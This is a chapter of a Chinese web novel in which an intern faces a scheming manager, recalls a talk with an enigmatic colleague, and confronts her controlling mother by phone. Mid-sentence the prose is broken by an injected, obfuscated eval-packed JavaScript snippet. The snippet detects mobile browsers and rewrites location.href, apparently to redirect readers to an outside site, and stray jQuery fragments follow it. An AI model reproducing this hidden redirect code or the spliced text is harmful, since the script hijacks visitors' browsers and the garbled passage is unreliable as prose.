25. 第25章

#东亚女性的终极人生课题之精神弑母


余珍霓抬起头,眉眼里带着几分狐疑:“什么事?”


罗芝抱着一摞厚厚的材料,站在她面前,微微垂着眼睛,作低眉顺眼乖巧状:“珍霓姐,我想跟您约个时间,谈谈转正的事。”


余珍霓怔了一下,嘴向下一撇,鄙夷道:“你记性没问题吧?两周前不是才刚谈过?”


罗芝笑得甜甜的,神情愉快得仿佛春风拂面:“但我觉得自己在这两周里取得了不少成绩,进步非常巨大,值得再谈一下!”


余珍霓不由得眯起眼细细打量她。


那神气活现的样子看着就不太正常……不会是傻了吧?


她可是职场打滚多年的老油条,什么装疯卖傻的把戏没见过?这种段位她根本懒得分出一个眼神,既然罗芝非要自己往枪口上撞,她有的是力气和手段,教教现在的年轻人,什么叫知难而退。


余珍霓嘴角一勾,法令纹被挤得更深:“那正好,之前有个离职员工手上还有一份预算表没完成对接。你要是想锻炼谈判水平,就去跟外部审计顾问对接好,把整个项目彻底收尾,再来找我谈转正。”


语气轻描淡写,好像承诺了,又好像完全没承诺。


杨怀特在旁边偷听,都不禁叹了口气。


真正懂行的人都知道,这不是新手能接得下来的任务——外部审计介入的预算项目,临近收尾时突然换人,这种天崩开局非常窒息,罗芝不仅要一口气掌握从头到尾所有细节,还得摸透审计顾问的要求与脾气,前者尚可通过翻阅会议记录、查找数据档案来实现,后者根本就是地狱社交,审计最忌讳责权不清,临阵换人,如今局面,罗芝一出场必是招人嫌的。


这种case,连资深分析师接起来都头疼,更别提她一个实习生了。


余珍霓心里冷笑,已经可以想象罗芝手忙脚乱灰头土脸滚回来求饶的样子。


却没想到,罗芝眼睛一亮,猛地点头:“好的,jenny姐,我明天就去!”


余珍霓:?


不,维德是怎么想的,真调过来个傻子??


罗芝哼着小调,踩着轻盈的步子回到工位,夏日黄昏,阳光从百叶窗外漏进来,映得办公桌上一片柔暖。


艾雅凑过来,好奇地压低声音:“罗芝姐,你是不是有什么大计划呀?”


罗芝有点惊讶:“我应该有什么计划?时间到了,我的计划是下班。”


她俯身麻利地换了鞋,经过一个冬天风雪泥泞的洗礼,那双灰白尖头鞋上的盐迹已经刷不干净了,她斥巨资——两百块巨资——买了一双纯色麂皮细跟鞋,从此加入了上班踩高跷的大军。


艾雅探过脑袋,眼睛放光:“罗芝姐,这双鞋子好好看啊,是什么名牌?”


罗芝笑了:“就非得是名牌才能穿吗?”


“噢——”艾雅若有所思,原地误会:“懂了懂了!肯定是Berluti之类的那种牌子吧,据说乔尔就穿他们家的。”


乔尔。


这个名字突如其来地砸下,像石子击破水面,漾开一圈圈细密的涟漪。


罗芝怔住,手指落在鞋带上的力度轻轻一紧。


上周末的酒会,摩美的分析师闻着八卦的味儿就赶到现场,立刻把乔尔和罗芝扒了个底朝天。


罗芝身上实在扒不出什么,千八百的连衣裙连褶子都没熨平,胳膊下夹着味道刺鼻的油画,属于琦芸路过都要捏着鼻子皱眉躲开的程度。


但乔尔的穿搭就大有文章,从一身Bespoke纯手工定制的西装到脚上Berluti手工打蜡染色的皮鞋,每一处细节都写着矜贵,连罗芝都跟着多认识了好几个大牌的名字,属于免费涨了一次见识。


乔尔到底是什么来头?神秘地空降摩美,底下的人都查不着的来历,佳文打听了半天,也只得到一句“摩美专门为他设的岗”,除此之外,再无其他。


罗芝想起那晚,两人站在她公寓楼下的对话。


她先开口追问:“你为什么也在那儿?”


“行业峰会,我为什么不能来?”乔尔想到什么,又神色微敛:“你的大老板维德不是也来了么。”


罗芝现在没空管维德,她紧盯着乔尔,满心想看出点什么破绽,但对方神色坦然,耐心而平静地回视着她,浅褐色的眼里是温润的光泽,并不带锋芒。


他鼻梁挺直,唇形温润,眉眼间自带一种沉稳而有分寸的气质,像老派电影中走出来的绅士,温和得体又不失坚定。


罗芝狐疑地挑眉:“如果你只是摩美战略部门的顾问,为什么穿得这么高级?那些工作人员看上去还都认识你?”


名利场上的人,踩高捧低早是本能反应,谁手上握着好牌,谁身后有资本撑腰,都是一目了然的事。乔尔举手头足间,一堆人前呼后拥,对他恭维巴结,很明显不寻常。


可是乔尔无所谓地耸肩:“那就是高级顾问呗。”


罗芝:……


“别糊弄我,乔尔,”她眯起眼,不依不饶,“讲真,你真不是什么隐名埋姓的富二代,好端端的酒肉日子不过,非要来体验人间疾苦?


她是什么神奇体质,上班走霉运,隐形大佬倒是一撞一个准。


乔尔笑出声,语气无奈而温柔:“不是,真的不是,你大可放心,战略部门是摩美的门面,掌握着项目决策和投资方向,今天来了几家海外的新能源科技集团,之前就跟摩美接洽过投资意向,这种情况下,我们部门倾巢而出,忙着维护关系,自然比平时活跃一些。”


倾巢而出……


罗芝嘴角抽抽,心想你在口出什么狂言,就你这成语水平,这边建议回炉重造。


可是乔尔话锋一转,盯着罗芝:“好了,盘问完我,也该问问你了。”


“我?”罗芝一愣,下意识想说“我又没什么好问的”,但很快反应过来,赶紧摆手急解释:“不是,我真不是故意的!当时我在洗手间换衣服,听到主持人声音,就想找个不起眼的侧门悄悄溜进去,谁知道涌进来一群人,那条通道又偏又没贴标识,我根本不知道是通往红毯的……”


她说着说着,自己都泄了气。


这话,现在再怎么解释,恐怕也没人信了。


乔尔耐心点头,深表理解,然后开口:“你怎么开始学油画了?”


罗芝:“哈?!”


“我以为你比较喜欢漫画,就像……”乔尔似乎不太熟悉,认真想了一会儿才说出口:“就像吉卜力那种风格的。”


罗芝一震,杏眼瞪得更圆:“你怎么知道?”


然而对方摊手,神色坦然:“上次你给我看你的资本回报率笔记,反面画着一只撑伞的龙猫,还有一排蘑菇屋,虽然是随手画的,但很可爱,看得出来是童画风格。”


罗芝脸一红,耳尖也烧起来了:“啊……哦。”


——若是当众出糗这个毛病能改,那一发呆就随手大小画这个症状,也一并改了吧。


乔尔低声笑:“想画画就去画吧。这种峰会意义不大,真不想来,维德也不会介意的。”


“怎么可能不介意?”罗芝小声嘟囔,“他要真不介意,就不会专门叮嘱艾雅过来提醒我了,分明是司马昭之心……”


好家伙,她的成语也被带跑偏了。


“你很介意他对你的看法吗?”乔尔的语气又淡了几分,明明两人相对而立,他并没有挪动,但罗芝就是觉得他的身影似乎远了一点。


罗芝很诚实,诚实得开始胡说八道起来:“介意啊,他是我的老大,他指哪儿我得打哪儿,上次随口叫我去做调研报告,等没日没夜地赶出来,又说不要了,不仅不要,连个名分都不给我!用完就扔,这谁受得了……”


乔尔的脸白了又白,喉结轻微滚动,似乎是拼上半生涵养,才把话咽了回去。


忍了半天,生硬地蹦出一句:“那你就去跟他要个名分——你不是想升职吗,那就去表达你的诉求。”


说是这么说,但感觉他一字一顿,带着恨劲儿,都快把牙咬碎了。


“你说的对,我的确应该勇敢一点,”罗芝点头,深以为然,“我以前太怂了,现在应该强硬起——哎,你怎么了,乔尔?”


乔尔猛地起身,拿起脏了的纸巾,沉着脸走到路边的垃圾桶,“咔哒”一声,扔了进去,声音都发闷:“……没事。”


罗芝:???


“罗芝姐,你电话响啦。”艾雅拍拍罗芝的肩膀。


罗芝回神,赶紧接起电话,嘴角挂着谢意无声地向艾雅道了句“谢谢”,后者识趣地退开。


“喂,妈?”


她还沉浸在酒会奇遇和与余珍霓过招的兴奋中,声音里竟带着点雀跃。


一雀跃,就忍不住主动关心起来:“你最近怎么样,肚子还疼吗?五一假期我回去看你好不好?”


电话那头,母亲却冷笑一声:“回来干什么,疗情伤?在外面失意了想起来往家里跑了?早跟你说那人不靠谱,你当时耳朵长哪儿去了?”


罗芝:“……啊?”


她这才反应过来,母亲说的是关狄。


关狄,哦,是了,她跟关狄分手了。


五周年那天他们大吵一架,后来在医院两人更是无情地揭露彼此的伤疤,她终于承认关狄捉襟见肘自卑敏感得让她不齿,而关狄也痛斥她虚荣冷漠不愿为男朋友做哪怕一点儿牺


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448146|167756||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


牲的自私。


相处五年,他们对彼此人性里的弱点一清二楚,于是在最后时刻破罐子破摔,掀翻了所有的底牌,哦不,这哪是掀底牌,这是连桌都掀飞了。


奇怪的是他们所指责的内容全是人性,却无关爱情,他们贬低对方的事业,嗤笑对方为人处事的逻辑和态度,甚至指责对方的身世和家庭,却只字不谈在单纯的恋爱关系中,有无任何遗憾或怨恨。


更可笑的是,撕破一切遮羞布后,关狄竟然还问她,等他调派回来还要如何如何,罗芝也是匪夷所思。


她需要疗伤吗?


按理说,五年恋情一朝结束,该悲痛失落,情绪失控……但这些典型反应,罗芝一个也没有。


有几次路过熟悉的餐厅,她站在门口,面无表情,想不起两人共餐时的快乐,只记得十次里有九次是她主动买单,买完还要编些体面的理由,别让关狄下不来台。


回望过去,罗芝觉得荒唐又好笑。


这些日子,她依旧像之前一样,加班做报表,写更多的代码,修更多的bug,路过的同事都恭喜她换组,羡慕她运气好,得维德和乔尔两个大佬青睐,妥妥的天选之女,以后的仕途定然一片坦荡,前程无量。


罗芝:。


那一刻她竟然理解了琦芸——当初琦芸分手的时候,众人也这样拼命夸她,夸她潇洒果断,拿得起放得下,夸得琦芸不能露出一点怯意,夸得她必须更加精神抖擞,更奋力地跟生活对抗,直到赢给所有人看。


她们别无选择,她们必须胜利。


“女孩子家家的,青春就这么几年,清白更是只有一次,你到底有没有数?当初要你分你不分,硬处到现在又要撕破脸,你现在年纪大了,到底还想折腾什么?”


罗芝:……


几次张嘴,还是没说出话来。


她其实想跟母亲说,她听了她的话的,从小到大,她不管如何不情愿,都是听话的。


但她突然觉得这样解释没意思,很没意思,她突然什么都懒得说。


她永远在为自己辩解,虚弱地,可怜地,却又那么坚持不懈。


她有时活泼主动,有时善良退让,不管何种姿态,她都是诚恳的,她以为这样就能打动母亲,她以为只要自己乖巧一点再乖巧一点,母亲就可以收回那些难听的话,不再用言语的利刃伤她。


全是妄想罢了。


罗芝捏着电话,咧嘴一笑:“妈妈,你告诉我,什么时候是才’好时候’?”


母亲一愣,警觉地反问:“你什么意思?”


“没什么意思。”罗芝揉了揉太阳穴,语气疲惫,“我只是想明白了,妈妈,我最大的误会就是只要我多说一点,多表现一点,你就能多了解我一点……但我错了,你根本就不想了解我,你根本也不在意我。”


母亲急了,嗓音一声高过一声:“你是我女儿!我含辛茹苦把你养大!我不了解你我了解谁?我不在意你我在意谁?啊!?”


“在意你自己啊。”


罗芝用了平生最大的努力,控制着声音不颤抖,她把手指掐得发紫,拼尽全力维持住一种自然又平静的语调:你在意自己的掌控感,在意自己的期望有没有被满足、情绪有没有得到宣泄……这么多年,我给你当老公当儿子,却没当过几天女儿,我也累了,不想再扮演这些与我无关的角色了。”


罗芝挂了电话。


她胸腔剧烈起伏,心脏跳得像要炸裂。


最后几句话,她的声音抖如筛糠,也不知道母亲听清了没有。


她抬手一摸脸,果然两行眼泪早已滑到下巴。


一生气就先委屈,一吵架就先掉眼泪,好憋屈,好没出息!


罗芝骂了自己一句,然后跑到洗手间,终于大哭。


十分钟后,她回到工位,依旧心潮起伏。


她努力想静下心来,当初医生怎么说的来着?训练呼吸,减轻焦虑,冥想是很好的选择。


她赶紧翻出手机,手忙脚乱地下载了一个冥想App,飞快注册,点开首页那个大大的“适合初学者引导冥想”,视频时长十分钟,刚刚好。


她戴好耳机,点开播放。


前十五秒,她努力跟着画面里的指引放松肩膀,结果——广告插进来了,她硬着头皮熬过去,又在第三分钟被第二个广告打断,这次还得手动跳过。


她皱着眉点掉广告,深吸一口气,正打算继续——


画面一顿,小弹窗就跳出来:“邀请您订阅会员,否则很遗憾,视频无法继续播放噢~”


……


罗芝盯着屏幕,沉默了一秒,然后“砰”地把手机丢到一边。


她被气笑了。